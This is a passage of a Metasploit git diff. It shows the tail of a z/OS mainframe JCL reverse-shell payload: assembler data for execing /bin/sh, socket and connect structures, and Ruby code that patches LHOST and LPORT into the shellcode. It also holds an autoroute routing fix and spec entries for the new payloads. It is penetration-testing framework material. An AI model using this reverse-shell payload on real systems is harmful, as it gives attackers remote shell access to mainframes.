actual parm list of exec call\n" + + "EXCMDL DC F'7' # len of cmd to exec\n" + + "EXCMD DC CL7'/bin/sh' # command to exec\n" + + "*********************************************************************\n" + + "******* Below this line is filled in runtime, but at compile ********\n" + + "******* is all zeroes, so it can be dropped from the shell- *********\n" + + "******* code as it will be dynamically added back and the ***********\n" + + "******* offsets are already calulated in the code *******************\n" + + "*********************************************************************\n" + + "ZEROES DS 0F # 51 4 byte slots\n" + + "EXARGC DC F'0' # num of arguments\n" + + "EXARGS DC 10XL4'00000000' # reminaing exec args\n" + + "EXARG1L DC F'0' # arg1 length\n" + + "* # BPX1FCT Arguments\n" + + "@FFD DC F'0' # file descriptor\n" + + "@ACT DC F'0' # fnctl action\n" + + "@ARG DC F'0' # argument to fnctl\n" + + "@RETFD DC F'0' # fd return\n" + + "FR1 DC F'0' # rtn code\n" + + "FR2 DC F'0' # rsn code\n" + + "* # BPX1SOC Arguments\n" + + "DOM DC F'0' # AF_INET = 2\n" + + "TYPE DC F'0' # sock stream = 1\n" + + "PROTO DC F'0' # protocol ip = 0\n" + + "DIM DC F'0' # dim_sock = 1\n" + + "CLIFD DC F'0' # client file descriptor\n" + + "SR1 DC F'0' # rtn val\n" + + "SR2 DC F'0' # rtn code\n" + + "SR3 DC F'0' # rsn code\n" + + "* # BPX1CON Arguments\n" + + "CLIFD2 DC F'0' # CLIFD\n" + + "SOCKLEN DC F'0' # length of Sock Struct\n" + + "SRVSKT DC XL2'0000' # srv socket struct\n" + + " DC XL2'0000' # port\n" + + " DC XL4'00000000' # RHOST 0.0.0.0\n" + + "CR1 DC F'0' # rtn val\n" + + "CR2 DC F'0' # rtn code\n" + + "CR3 DC F'0' # rsn code\n" + + "SAVEAREA DC 18XL4'00000000' # save area for pgm mgmt\n" + + "EOFMARK DC X'deadbeef' # eopgm marker for shellcode\n" + + " END MAIN\n" + + "ZZ\n" + + "//*\n" + })) + end + # replace our own LPORT/LHOST + def replace_var(raw, name, offset, pack) + super + if( name == 'LHOST' and datastore[name] ) + val = Rex::Socket.resolv_nbo(datastore[name]) + val = val.unpack("H*")[0] + raw[offset, val.length] = val + return true + elsif(name == 'LPORT' and datastore[name] ) + val = datastore[name] + val = val.to_s(16).rjust(4,'0') + raw[offset, val.length] = val + return true + else + return false + end + end +end diff --git a/modules/post/windows/manage/autoroute.rb b/modules/post/windows/manage/autoroute.rb index 8d2670ca37..d2461a4e47 100644 --- a/modules/post/windows/manage/autoroute.rb +++ b/modules/post/windows/manage/autoroute.rb @@ -162,11 +162,9 @@ class MetasploitModule < Msf::Post def is_routable?(route) if route.subnet =~ /^224\.|127\./ return false - elsif route.subnet =~ /[\d\.]+\.0$/ - return false elsif route.subnet == '0.0.0.0' return false - elsif route.subnet == '255.255.255.255' + elsif route.netmask == '255.255.255.255' return false end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 528b41f0da..0e1f3215d3 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -398,6 +398,26 @@ RSpec.describe 'modules/payloads', :content do reference_name: 'bsdi/x86/shell_reverse_tcp' end + context 'cmd/mainframe/generic_jcl' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/mainframe/generic_jcl' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'cmd/mainframe/generic_jcl' + end + + context 'cmd/mainframe/reverse_shell_jcl' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/cmd/mainframe/reverse_shell_jcl' + ], + dynamic_size: true, + modules_pathname: modules_pathname, + reference_name: 'cmd/mainframe/reverse_shell_jcl' + end + context 'cmd/unix/bind_awk' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [